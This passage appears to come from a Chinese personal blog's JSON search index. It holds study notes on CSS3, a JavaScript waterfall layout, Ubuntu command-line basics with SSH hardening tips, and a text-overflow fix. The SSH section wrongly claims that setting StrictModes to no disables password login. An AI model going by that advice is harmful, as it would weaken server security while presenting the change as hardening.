border-image\nborder-image可以在元素的边框上绘制图像，规范要求使用borde-images时边框样式必须存在\nborder-image: url(./logo.jpg) 10 repeat\n上面这行代表使用图片logo.jpg，裁剪位置10，使用重复方式\n图片：使用url()调用，路径可以是绝对或者相对，也可以不用图片，即none\n裁剪位置：默认单位为px，10表示10px，不需要写单位\n支持使用百分百，例如300px*100px的图片，30%就是裁剪图片90px*30px的四个边的大小 也可以使用4个数，代表上右下左要裁剪的数值\n重复方式只是其中一种方式，可以用于设置图像边界是否要重复或者拉伸，铺满\n重复（repeat)，拉伸（stretch）,平铺（round）\nstretch（拉伸）为默认值，所以会裁剪出来的图片比边框小，就会拉伸，以保证填满边框\n可以使用两个参数，当使用一个参数时，水平方向以及垂直方向都使用这个参数\n当使用两个参数时，第一个参数代表水平方向，第二个参数表示垂直方向\nborder-image还有4个子属性\n指定要用于绘制边框的图像的位置\nborder-image-source\n图像边界向内收缩\nborder-image-slice\n图像边界的宽度\n可以使用带单位的，百分百，不带单位的（倍数），auto\nborder-image-width\n指定在边框外部绘制 border-image-area 的量\n就是原本的位置向外拉伸\nborder-image-outset\n用于设置图像边界是否要重复或者拉伸，铺满\nborder-image-repeat\n引入css 内联css： // 要写在开始标签中\n嵌入css： div{color: #fff;}\n外部css: 优先级：内联 \u0026gt; 嵌入 \u0026gt; 外部\n选择器\n标签选择器：div{} id选择器：#main{} \u0026lt;div id=\u0026quot;main\u0026quot;\u0026gt; 类选择器：.main{} \u0026lt;div class = \u0026quot;main\u0026quot;\u0026gt; 子选择器：.main\u0026gt;div{} 后代选择器：.main div{} 通用选择器：*{} 伪类选择器：a:{} 分组选择器：div,span{} id选择器只能在文档中使用一次，类选择器可以使用多次\n选择器的优先级是: 内联 \u0026gt; id \u0026gt; 类 \u0026gt; 标签 \u0026gt; 通配符\n标签的权值为1\n类选择器的权值为10\nID选择器的权值为100\n伪类选择器是10\n权值越大，优先级就越大\n优先级最大的!important,例如：\ndiv{color:#fff!important;}\n样式\n字体font-family div{font-family:\u0026ldquo;Microsoft Yahei\u0026rdquo;;}\n字体大小font-size div{font-size:16px;}\n字体粗细font-weight div{font-weight:bold;}\n字体样式font-style div{font-style:normal;}\n字体颜色color div{color:#fff;}\n文本样式text-decoration div{text-decoration:none;}\n文本首行缩进text-indent div{text-indent:2em;}\n文本行间间距line-height div{line-height:2em;}\n增加或减少每一个文字的间距 letter-spacing div{letter-spacing:10px;}\n增加或减少每个英文单词之间的间距word-spacing div{word-spacing:10px;}\n文本对齐方式text-align div{text-align:center;}\n定位： 定位有两种，绝对定位和相当定位\n相对定位和绝对定位都有四个属性\nleft（左），top(头)，right（右），bottom（底）\n绝对定位：\n设置绝对定位的元素会脱离文档流，所以不会占用空间\ndiv{ position: absolute; } 绝对定位的元素的位置相对于元素最近的已定位的祖先元素，如果没有，那么相对于最初的包含块（也就是body）\n相对定位：\n相对定位的元素的位置相对于元素最初的位置，使用相对定位时，元素会占据原来的空间，所以，移动元素会覆盖其他元素\ndiv{ position: relative; } css有下面这些选择器\nid选择器（#myid） 类选择器（.myclassname） 标签选择器（div,h1,p） 后代选择器（h1p） 相邻后代选择器（子）选择器（ul\u0026gt;li） 兄弟选择器（li~a） 相邻兄弟选择器（li+a） 属性选择器（a[rel=\u0026ldquo;external\u0026rdquo;]） 伪类选择器（a:hover,li:nth-child） 伪元素选择器（::before、::after） 通配符选择器（*）\n在css3中使用单冒号来表示伪类，用双冒号来表示伪元素\n伪类一般用于匹配元素的一些状态，而伪元素一般用于匹配元素的位置\nCSS3 圆角\n使用border-radius属性\n可以使用1——4个值\n1个值，表示四个角都使用这个值\n2个值，表示第一个值对应左上和右下，第二个值对应左下和右上\n3个值，表示第一个值对应左上，第二个值对应左下和右上，第三个值表示右下\n4个值，表示第一个值对应左上，第二个值对应右上，第三个值表示右下，第四个值表示左下\n单独设置圆角\n左上角 border-top-left-radius 右上角\tborder-top-right-radius\n右下角 border-bottom-right-radius 左下角 border-bottom-left-radius\ncss阴影\nbox-shadow: 10px 10px 10px #fff;\n第一个值是阴影水平位移，第二个值为阴影垂直位移，第三个值为模糊半径\n第四个值为阴影颜色\ntransition属性 例如: div{ width: 100px; height: 100px; background: #000; transition: width 1s; } div:hover{ background: #f6f6f6; }\nz-index属性\n该属性用于堆叠元素的顺序，高级的元素会堆叠在低级的元素前面，例如：\n#app{ z-index: -1; } font-family属性\n该属性用于设置元素字体，可以设置多个字体，当第一个字体不支持时，自动尝试设置下一个字体\n@keyframes 规则：这个规则是可以将样式以动画方式（特定时间）逐渐地从当前样式修改为新的样式，当超过特定时间又恢复原来的样式\n#app{ width: 100px; height: 100px; background-color: #000; animation-name: test; animation-duration: 6s; animation-delay: 3s; animation-iteration-count: infinite; } @keyframes test { from{ background-color: #000; } to{ background-color: #ccc; } } background-image\n该属性可以添加背景，可以添加多张背景，例如：\n#app{ background-image: url(1.jpg),url(2.jpg); background-position: left top,right bottom; background-repeat: no-repeat,repeat; } background-size\n该属性可以指定背景的大小，例如： #app{ background-image: url(1.jpg); background-repeat: no-repeat; background-size: 100px 100px; }\nbackground-origin\n该属性可以指定背景的位置区域（外边框（border-box），内边框（padding-box），内容区（content-box）），例如：\nbackground-color: content-box; background-clip\n该属性可以将背景裁剪到指定位置（外边框（border-box），内边框（padding-box），内容区（content-box），例如：\nbackground-clip: content-box; 渐变分为线性渐变（直线）和径向渐变（中心）\n线性渐变（默认从上到下）\n#app{ width: 300px; height: 300px; background-image: linear-gradient(#ccc,#000); } 从左到右\n#app{ width: 300px; height: 300px; background-image: linear-gradient(to right ,#ccc,#000); } 从左上角到右下角\n#app{ width: 300px; height: 300px; background-image: linear-gradient(to right bottom ,#ccc,#000); } 带角度的（不能指定方向）\n#app{ width: 300px; height: 300px; background-image: linear-gradient(30deg,#ccc,#000); } 带透明度的\n#app{ width: 300px; height: 300px; background-image: linear-gradient(30deg,rgb(255,0,0,1),rgb(0,0,0,0)); } 带重复的\n#app{ width: 300px; height: 300px; background-image: repeating-linear-gradient(#ccc, #fcfcfc 20%, #000 30%); } 径向渐变\n#app{ width: 300px; height: 300px; background-image: radial-gradient(#fff, #ccc, #000,#fc0000); } 必须要有两个以上的颜色，第一个颜色在中间，依次往外排\n同样可以设置每个颜色的占比\n#app{ width: 300px; height: 300px; background-image: radial-gradient(#fff 10%, #ccc 20%, #000 30%,#fc0000 40%); } 当元素是不正的，那么径向渐变默认就是椭圆的（ellipse），也可以指定为圆形的（circle）\n#app{ width: 300px; height: 250px; background-image: radial-gradient(circle,#fff, #ccc, #000,#fc0000); } 还提供了定义渐变大小的关键字，分别是closest-side，farthest-side，closest-corner，farthest-corner\n当然也提供了可以重复渐变的，例如：\n#app{ width: 300px; height: 250px; background-image: repeating-radial-gradient(circle,#000 20%, #fc0000 30% , yellow 50%); } 文本阴影\n#app{ text-shadow: 5px 5px 5px #000; } 值分别为水平阴影，垂直阴影，模糊度，阴影颜色\n元素盒子阴影\n#app{ box-shadow: 5px 5px 5px #000; } 容器文本溢出处理\n#app{ text-overflow: ellipsis; } 文本溢出默认为text-overflow: clip\n自动强制文本换行（当单词或者某个文本太长，就会强制换行，避免文本溢出）\n#app{ word-wrap: break-word; } @font-face 规则\n该规则允许使用客户端没有的字体，例如：\n@font-face { font-family: hallo; src: url(\u0026quot;hallo.ttf\u0026quot;); } div{ font-family: hallo; } 必需属性font-family：字体名称\nsrc：字体文件的url\n在需要用字体的元素上font-family: 字体名称\n过渡动画，会逐渐式加载样式，例如\n#app{ width: 100px; height: 100px; background-color: #333; transition: height 3s,width 3s,transform 3s; } #app:hover{ width: 300px; height: 300px; transform: rotate(360deg); } 当鼠标移动到该元素上，那么会在3秒内逐渐转换为指定样式，移开鼠标那么又会逐渐恢复原来的样式\ncolumn-count 属性，该属性可以将元素中的文本分成指定列，例如\n#app{ column-count: 3; } 每个列之间的距离使用column-gap属性指定，例如\n#app{ column-count: 3; column-gap: 20px; } column-rule-style属性可以指定每个列分隔的边框样式，例如下面样式为实线\n#app{ column-count: 3; column-gap: 20px; column-rule-style: solid; } column-rule-width属性可以指定列的边框之间的宽度，例如\n#app{ column-count: 3; column-gap: 20px; column-rule-style: solid; column-rule-width: 1px; } column-rule-color属性可以指定列的边框的颜色，例如：\n#app{ column-count: 3; column-gap: 20px; column-rule-style: solid; column-rule-width: 6px; column-rule-color: #000; } 当然列的边框的样式可以缩写，例如：\n#app{ column-rule: 6px solid #000; } 如果在父元素内，某个子元素不想被分列影响，直接指定子元素，例如\ndiv{ column-span: all; } column-width可以指定列的宽度，例如\ndiv{ column-width: 300px; } column-gap属性和column-width属性之间的区别，就是column-gap控制的是列与列之间的距离，而column-width控制的却是列本身的宽度\n动画，可以指定时间，在指定时间内逐渐成另一种样式，可以指定动画的过程的样式，例如\n#app{ width: 300px; height: 300px; background-color:#ccc; animation: hallo 5s; } @keyframes hallo{ 0% {background-color: #ccc;} 25% {background-color: #fff;} 50% {background-color: #222;} 75% {background-color: #f3f3f3} 100% {background-color: #777;} } 0%为动画开始，100%为动画结束，当动画结束时样式会恢复原来定义的样式，除了用百分比表示进度，也可以用from（起点）和to（终点）表示\n能修改颜色，当然也能修改位置，例如：\n#app{ width: 300px; height: 300px; background-color:#ccc; animation: hallo 5s; position: relative; } @keyframes hallo{ 0% { background-color: #ccc; top: 0px; left: 0px; } 25% { background-color: #fff; top: 0px; left: 300px; } 50% { background-color: #222; top: 300px; left: 300px; } 75% { background-color: #f3f3f3; top: 300px; left: 0px; } 100%{ background-color: #777; top: 0px; left: 0px; } } 二维改变样式\n旋转（值为正数则顺时针转，值为负数则逆时针转）\n#app{ width: 300px; height: 300px; background-color: #ccc; transform: rotate(60deg); } 平移(根据x（左），y（上）轴决定)\n#app{ width: 300px; height: 300px; background-color: #ccc; transform: translate(100px,100px); } 放大或者缩小\n#app{ width: 300px; height: 300px; background-color: #ccc; transform: scale(2,2); } 宽度和高度是原来的2倍\n倾斜(根据x（水平），y（垂直）轴决定，默认为0，值为负数则逆时针转)\n#app{ width: 300px; height: 300px; background-color: #ccc; transform: skew(10deg,30deg); } 同样也可以缩写为一个属性\n#app{ width: 300px; height: 300px; background-color:#ccc; transform:matrix(0.6,1.5,-0.5,1.2,3,3); } 这个6个值分别代表旋转，放大或者缩小，平移，倾斜\n三维改变样式\n#app{ width: 300px; height: 300px; background-color:#ccc; transform: rotateX(60deg); } #app{ width: 300px; height: 300px; background-color:#ccc; transform: rotateY(60deg); } #app{ width: 300px; height: 300px; background-color:#ccc; transform: rotateZ(60deg); } 旋转元素的起始位置\n#app{ width: 300px; height: 300px; background-color:#ccc; transform: rotate(60deg); transform-origin: 30% 60%; } 拓展\n#app{ width: 500px; height: 500px; perspective: 200; perspective-origin: 10% 20%; background-color: #000; } #app div{ width: 300px; height: 300px; background-color:#ccc; transform: rotateX(60deg); transform-style: preserve-3d; backface-visibility: hidden; } backface-visibility属性用于指定背面是否显示\nperspective-origin属性用于改变底部位置\nperspective属性用于查看透视图（z只支持3D元素）\ntransform-style属性用于是否保留3d位置保留\ncss强制换行，避免文本溢出容器\nwhite-space: pre-wrap; normal：默认，空白被忽略\nnowrap：文本不换行，文本在同一行继续\npre：保留空格，换行保留，不自动换行\npre-wrap：保留完整空格，保留换行符，自动换行\npre-line：保留空格（可能不完整），保留换行\nfilter属性滤镜\n该属性默认值为none\n背景为黑白\nfilter: grayscale(100%); 高斯模糊\nfilter: blur(3px); 亮度\nfilter: brightness(160%); 对比度\nfilter: contrast(160%); 透明度\nfilter: opacity(30%); 饱和度\nfilter: saturate(300%); 阴影\nfilter: drop-shadow(5px 5px 6px #ccc); 色相旋转\nfilter: hue-rotate(30deg); 颠倒输入\nfilter: invert(30%); 允许使用多个滤镜，多个滤镜有空格分开\n表格布局（现在很少用，一般都是用div+css）\n该元素会作为块级表格（例如table标签，有换行） display: table;\n内联表格（没换行） display: inline-table;\n表格行（例如tr） display: table-row;\n表格单元格（例如td） display: table-cell;\n表格标题 display: table-caption;\n单元格列 display: table-column;\n","permalink":"https://chenjunlinabc.github.io/posts/11/","summary":"盒子模型\n盒模型在css中是用来封装html元素的，因为本质上来看像个盒子一样，所以叫盒模型或者盒子模型，术语叫box model\n外边距（margin）：一般用于控制同辈元素之间的间距\n边框（border）：在内边距和内容之外的边框\n内边距（padding）：内边框是用于控制内容的距离\n内容（content）：内容，一般为文本和图像\n例子：建立一个宽度为100px，10px的内边距，10px的外边距，10px的红色边框的盒子\ndiv{ width: 100px; borde: 10px solid red; padding: 10px; margin: 10px; } top，bottom，left，right分别代表了上，下，左，右\n或者padding: 上，右，下，左，只有一个数字就表示上，下，左，右都是这个数值\n有两个数值就是分别代表上下和左右，有三个数值表示上和左右和下\n这个盒子大小应该是内容的宽度+内边距+边框+外边距\n100+20+20+20=160\n两种盒模型\nIE 盒子模型（box-sizing content-box）（怪异盒模型）\nIE盒模型的width与height是content、padding和border的总和\n调用IE盒模型 box-sizing: border-box;\nW3C标准盒模型（box-sizing content-box）\n标准盒模型的width与height只含content，不包括padding和border\n调用W3C标准盒模型 box-sizing: content-box;\n在IE6，7，8浏览器中不声明DOCTYPE类型，那么在IE6，7，8浏览器中会将盒子模型解释为IE盒子模型\n如果在页面中声明了DOCTYPE类型，那么所有的浏览器都会把盒模型解释为W3C盒模型\nJavaScript获取盒模型的宽和高（这里的DOM不是指整个dom，而是某个元素）\nDOM.style.width和DOM.style.height（只能获取内联样式）\nDOM.currentStyle.width和DOM.currentStyle.height（只支持IE）\nwindow.getComputedStyle(DOM).width和window.getComputedStyle(DOM).height（兼容性好）\n获取元素相对于视窗的位置(top,right,bottom,left都可以获取)\nlet data = DOM.getBoundingClientRect() data.top\n有BFC特性的元素是一个被“隔离”的容器，该容器里面的元素不会在布局上影响到外面的元素\n满足下面其中一个条件就触发BFC特性\nbody 根元素\n浮动元素 float除none外的值\n绝对定位元素 position (absolute、fixed)\ndisplay 为 inline-block、table-cells、flex\noverflow 除了 visible 以外的值 (hidden、auto、scroll)\nBFC的特性：","title":"css3学习笔记"},{"content":"瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位\n首先需要确定一行有多少列，列数 = 页面的宽度 / 容器的宽度\n获取页面的宽度：window.innerWidth或者document.documentElement.clientWidth或者document.body.clientWidth\n获取页面的高度：window.innerHeight或者document.documentElement.clientHeight或者document.body.clientHeight\n页面宽度：.width，容器宽度：.offsetWidth\n得到了列数后，还需要得到全部容器的高度，因此还需要用到数组，用来存储容器的高度\n遍历全部容器，还需要判断是否到了第二行，i\u0026lt;列数\n而第一行的全部容器，设置头部和左边定位，左边定位设置为容器的宽度*i，保证不会被覆盖或者溢出，同时将arr[i].offsetWidth传入新的数组中\n然后找到上一行最矮的容器，只需要将全部得到的容器的宽度判断一下就可以，首先假释一下第一个容器就是最矮的，当遍历的容器小于该容器时，那么将该容器设置为当前遍历的容器，而当前遍历的i就是最矮的容器索引值\n然后就设置下一行的容器的位置就可以了，头部：最矮的容器的高度，左边：最矮的容器距离页面最左边的宽度\n因为已经设置了下一行的容器，因此还需要重新获取一下当前容器的高度，当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度\n为了体验更好，可以将上面操作封装到一个函数中，当网页加载完毕加执行（window.onload），当页面宽度高度发送变化时也执行(window.onresize)\n例如：\nvar data = document.getElementsByClassName('imgs'); function datamain(){ var datawidtha = window.innerWidth; var datawidthb = Math.floor(data[0].offsetWidth); var dataab = Math.floor(datawidtha/datawidthb); var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1)) var arr = []; for(var i=0;i\u0026lt;data.length;i++){ if(i\u0026lt;dataab){ data[i].style.top = 0; data[i].style.left = (datawidthb+ints) * i + \u0026quot;px\u0026quot;; arr.push(data[i].offsetHeight); }else{ var datamin = arr[0]; var index = 0; for(var a = 0; a\u0026lt;arr.length; a++){ if(datamin \u0026gt; arr[a]){ datamin = arr[a]; index = a; } } data[i].style.top = arr[index]+ ints +\u0026quot;px\u0026quot;; data[i].style.left = data[index].offsetLeft + \u0026quot;px\u0026quot;; arr[index] = arr[index] + data[i].offsetHeight + ints; } } } window.onload = function () { datamain(); } window.onresize = function () { datamain(); } ","permalink":"https://chenjunlinabc.github.io/posts/10/","summary":"瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位\n首先需要确定一行有多少列，列数 = 页面的宽度 / 容器的宽度\n获取页面的宽度：window.innerWidth或者document.documentElement.clientWidth或者document.body.clientWidth\n获取页面的高度：window.innerHeight或者document.documentElement.clientHeight或者document.body.clientHeight\n页面宽度：.width，容器宽度：.offsetWidth\n得到了列数后，还需要得到全部容器的高度，因此还需要用到数组，用来存储容器的高度\n遍历全部容器，还需要判断是否到了第二行，i\u0026lt;列数\n而第一行的全部容器，设置头部和左边定位，左边定位设置为容器的宽度*i，保证不会被覆盖或者溢出，同时将arr[i].offsetWidth传入新的数组中\n然后找到上一行最矮的容器，只需要将全部得到的容器的宽度判断一下就可以，首先假释一下第一个容器就是最矮的，当遍历的容器小于该容器时，那么将该容器设置为当前遍历的容器，而当前遍历的i就是最矮的容器索引值\n然后就设置下一行的容器的位置就可以了，头部：最矮的容器的高度，左边：最矮的容器距离页面最左边的宽度\n因为已经设置了下一行的容器，因此还需要重新获取一下当前容器的高度，当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度\n为了体验更好，可以将上面操作封装到一个函数中，当网页加载完毕加执行（window.onload），当页面宽度高度发送变化时也执行(window.onresize)\n例如：\nvar data = document.getElementsByClassName('imgs'); function datamain(){ var datawidtha = window.innerWidth; var datawidthb = Math.floor(data[0].offsetWidth); var dataab = Math.floor(datawidtha/datawidthb); var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1)) var arr = []; for(var i=0;i\u0026lt;data.length;i++){ if(i\u0026lt;dataab){ data[i].style.top = 0; data[i].style.left = (datawidthb+ints) * i + \u0026quot;px\u0026quot;; arr.push(data[i].offsetHeight); }else{ var datamin = arr[0]; var index = 0; for(var a = 0; a\u0026lt;arr.","title":"原生js实现瀑布流布局"},{"content":"linux发行版有很多，这里使用的是Ubuntu\n个人喜欢使用无界面版本（ubuntu-20.04-live-server-amd64）\n有关于树莓派的看这个\n修改为国内源\nnano /etc/apt/sources.list\n替换内容为\n# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释 deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # 预发布软件源，不建议启用 # deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse 注：该源为清华大学开源软件镜像站的,可以修改为其他镜像站的源\n163镜像源\n# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释 deb http://mirrors.163.com/ubuntu/ focal main restricted universe multiverse deb http://mirrors.163.com/ubuntu/ focal-security main restricted universe multiverse deb http://mirrors.163.com/ubuntu/ focal-updates main restricted universe multiverse deb http://mirrors.163.com/ubuntu/ focal-backports main restricted universe multiverse # deb-src http://mirrors.163.com/ubuntu/ focal main restricted universe multiverse # deb-src http://mirrors.163.com/ubuntu/ focal-security main restricted universe multiverse # deb-src http://mirrors.163.com/ubuntu/ focal-updates main restricted universe multiverse # deb-src http://mirrors.163.com/ubuntu/ focal-backports main restricted universe multiverse # 预发布软件源，不建议启用 # deb http://mirrors.163.com/ubuntu/ focal-proposed main restricted universe multiverse # deb-src http://mirrors.163.com/ubuntu/ focal-proposed main restricted universe multiverse sudo apt update #更新源 sudo apt upgrade #更新系统\n安装app\nsudo apt install App名字\n例如安装ssh服务：\napt update apt install openssh-server\npoweroff 立刻关机\nshutdown -h now 立刻关机\nshutdown -r now 立刻重启\nshutdown -r 10 10分钟后重启\nshutdown -r 1:00 当时间为1:00时重启\nwget 下载文件链接\n安装.deb文件\nsudo dpkg -i 文件名\n例如：\nsudo dpkg -i code_1.40.2-1574694120_amd64.deb\nclear 清除\nls和cd\ncd命令是前往指定目录\ncd ~ 前往目前使用的用户的Home目录（家目录）\ncd .. 返回上一级目录\ncd /etc/python3 前往指定目录\ncd - 返回刚刚所在的目录\ncd ../../ 向上返回两级目录\ncd ./ 前往当前目录\npwd 显示当前目录路径\nls -ah 将所有目录（包括隐藏目录）显示出来\n如果有很多层目录，那么需要一个绝对目录\n绝对目录：指目录的绝对位置，从根目录开始的路径，完整的描述文件位置的路径就是绝对路径 相对目录：指目标相对于当前文件的路径\nls (list 的简写)\nls 返回当前所在的目录的所有子目录和子文件\nls -l 返回文件的一些信息，权限，用户，文件大小，修改时间。文件名，total后面的数字是指这个目录下的文件数，包括隐藏文件\nls -a 显示所有文件，包括已经隐藏的文件(以 . 开头的)\nls -lh 这个指令和-l一样，返回权限，用户，文件大小，修改时间。文件名，不过文件大小是使用k，m这些来表示\nls \u0026ndash;help 查看ls的全部功能\ncp，mv，touch，mkdir\ntouch 新建一个文件 例如： touch hallo.py\n如果想同时建立多个文件，那么输入多个文件的名字，使用空格分开，例如：\ntouch hello.py world.py\ncp 是复制文件或者文件夹的指令，使用方法：\ncp hello.py world.py\n注意: 如果复制的文件已经存在, 它将会直接覆盖已存在的文件，那么可以： cp -i hello.py world.py 在返回的提问中回复任何大小写形式的y或者yes，将执行覆盖操作，回复其他则取消这个执行\ncp -R hello/ world/ 复制文件夹\ncp go* gogo/ 复制所有的以go开头的文件到gogo文件夹中\ncp *go gogo/ 复制所有的以go结尾的文件到gogo文件夹中\nmv 是用来移动（剪切）文件\nmv 要移动的文件 要移动到的文件夹，例如：\nmv hello.py hello/\nmv world.py hallo.py 重命名文件\nmv \u0026ndash;help 查看其他mv的用法\nmkdir hello 新建一个文件夹\nrmdir hello/world 删除hello目录下的world目录，不能删除有文件的文件夹，只能删除一个空的文件夹\nrm world/ 可以删除不是空的文件夹\nrm -i world/ 删除文件时提示\nrm -I world/ 删除超过3个文件时才提示，少于3个时不提示\nrm -r world/ 删除目录及目录下的所有文件及目录\nrm -rf world/ 删除目录下及目录下的所有文件及目录，没有提示地强制递归删除文件\nnano hallo.py nano是一个，^是ctrl键，例如ctal+x 是退出的指令\ncat hallo.py 输出一个文件的文本内容\ncat hallo.py \u0026gt; world.py 把一个文件复制成另一个文件\ncat hallo.py hello.py \u0026gt; world.py 把两个文件的内容合并到另一个文件\ncat world.py \u0026raquo; gogo.py 补充到另一个文件的内容的后面\n文件权限 例如 drwxr-xr-x\nd是说明这是一个文件夹，如果是-那么就是说明这是一个文件\nrwx r 可读，w 可写， x 可执行，如果有是-说明当前使用的用户账号不能完成某一个操作，User是当前使用的用户\nr-x r 可读，w 不可写， x 可执行，说明Others这个组的用户不能完成写入的能力，没有写入的权限，Others是指当前用户所在的组\nr-x r 可读，w 不可写， x 可执行，说明User 和 Group 以外的人不能完成写入的能力，没有写入的权限，Others是除当前用户和组之外的人\n修改文件权限\nchmod u+r hallo.py\nchmod ug+rw hello.py 给当前用户添加可读权限\n+ 为加上某一个权限 - 为去掉某一个权限 = 为等于某个权限\nu: 对于 User 修改, g: 对于 Group 修改 o: 对于 Others 修改 a: 对于所有人修改\nchmod 755 hello.py 修改文件权限 u为rwx，可读可写可执行，g为r-x可读不可写可执行，o为r-x可读不可写可执行\nr=4，w=2，x=1\nifconfig 这个命令是用来查看当前linux设备的ip\nip addr 这个命令也是用来查看当前linux设备的ip的\napt-get install net-tools 安装网络工具，用于解决ip没有分配之类的网络管理工具\nexit 退出ssh控制\ntop 查看cpu占用的一些信息\nlinux-ssh安全配置\nssh安全\nlast -f /var/log/wtmp 查看IP登陆日志\n修改ssh端口\nnano /etc/ssh/sshd_config\n找到Port，修改端口，如果修改为2222，那么默认ssh连接端口为2222，原来的22端口报废（不能使用22端口登录了，计算机有65535个端口，扫描端口都要扫半天）\n禁止root用户ssh登录\n找到PermitRootLogin，把yes修改为no\n其他ssh安全配置\nLoginGraceTime 登录一次花费多少时间，当超过这个时间，则要求重新登录\nMaxAuthTries 限制尝试登录错误的次数，当超过这个次数之后拒绝登录尝试 MaxSessions 限制每个连接可以并行开启多少个会话\nStrictModes，修改为no，为禁用密码登录\n重启sshd服务 service ssh restart\nSSH密钥登录\nssh-keygen -t rsa -b 4096 生成私钥和公钥\n在.ssh的目录下有两个文件，id_rsa 为私钥，id_rsa.pub 为公钥\ncat ~/.ssh/id_rsa.pub \u0026raquo; authorized_keys\n然后上传authorized_keys到服务器上\n上传文件可以用ftp或者scp\n例如 scp -P 2222 .\\authorized_keys pi@192.168.1.106:~/.ssh\n给.ssh目录和authorized_keys文件设置权限\nchmod -R 0700 ~/.ssh\nchmod -R 0644 ~/.ssh/authorized_keys\nssh pi@192.168.1.106 -p 2222\n就可以不用密码进行登录了\nlinux下Operation not permitted\n先看看文件权限ll，能使用root用户或者sudo最好，然后尝试chmod\n如果在root用户或者sudo下也不能对文件或者文件夹进行操作，那么\nchattr +i hello.py // 使用i属性来锁定文件，避免修改文件\nlsattr hello.py // 查看加锁\nchattr -i hello.py // 去除i属性，便可以修改该文件\na：可以修改文件，但是不能删除\ni: 不能删除，不能修改，不能移动\nifconfig // 查看网络配置，或者ip addr ls\n网卡配置文件在/etc/sysconfig/network-scripts下\n网卡配置文件名称一般为ifcfg-xxx\n默认为关闭的，需要使用DHCP获取ip，需要修改ONBOOT=no，修改为yes\n配置静态ip，需要修改BOOTPROTO为static\n添加下面内容\nIPADDR=192.168.186.128 // 设置IP地址 NETMASK=255.255.255.0 // 设置子网掩码 GATEWAY=192.168.186.1 // 设置网关 DNS1=114.114.114.114 // 设置dns\nnmcli c reload // 重启网络服务\nip addr // 查看本地IP地址以及其他网卡信息\nip link set dev eth0 up // 启用网卡 或者ifup eth0\nifconfig eth0 192.168.186.128 // 修改指定网卡的ip\nifconfig eth0 192.168.186.128 netmask 255.255.255.0 // 修改子网掩码\nroute -n // 显示和操作IP路由表\nroute add default gw 192.168.186.1 // 增加指定网关，其中的default是指0.0.0.0的，可自己选择想要的，例如route add -host 192.168.186.2 gw 192.168.186.1\nroute add -net 192.168.0.0 netmask 255.255.255.0 gw 192.168.186.1 // 设置网段的网关\nroute del default gw 192.168.186.1 // 删除指定网关\n","permalink":"https://chenjunlinabc.github.io/posts/8/","summary":"linux发行版有很多，这里使用的是Ubuntu\n个人喜欢使用无界面版本（ubuntu-20.04-live-server-amd64）\n有关于树莓派的看这个\n修改为国内源\nnano /etc/apt/sources.list\n替换内容为\n# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释 deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # 预发布软件源，不建议启用 # deb https://mirrors.","title":"linux系统的日常使用"},{"content":"当文本宽度超过容器的宽度那么将导致溢出\n使用text-overflow属性会修剪文本导致文本显示不全\n这里使用的方法是word-break: break-all+white-space: pre-wrap\nword-break: break-all\n允许在单词内换行（还有个keep-all属性，用来只能在半角空格和连字符处换行，默认值为normal）\nwhite-space: pre-wrap\nnormal：默认，空白被忽略\nnowrap：文本不换行，文本在同一行继续\npre：保留空格，换行保留，不自动换行\npre-wrap：保留完整空格，保留换行符，自动换行\npre-line：保留空格（可能不完整），保留换行\n一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能\n","permalink":"https://chenjunlinabc.github.io/posts/6/","summary":"当文本宽度超过容器的宽度那么将导致溢出\n使用text-overflow属性会修剪文本导致文本显示不全\n这里使用的方法是word-break: break-all+white-space: pre-wrap\nword-break: break-all\n允许在单词内换行（还有个keep-all属性，用来只能在半角空格和连字符处换行，默认值为normal）\nwhite-space: pre-wrap\nnormal：默认，空白被忽略\nnowrap：文本不换行，文本在同一行继续\npre：保留空格，换行保留，不自动换行\npre-wrap：保留完整空格，保留换行符，自动换行\npre-line：保留空格（可能不完整），保留换行\n一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能","title":"简单解决文本溢出问题"},{"content":"IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制\n打开（新建）indexedDB：\nindexedDB.open()，该方法有俩个值，第一个是数据库名（没有该数据库那么就新建），第二个值为数据库的版本，一般来说默认为1（必须是大于0的自然数），例如：\nvar 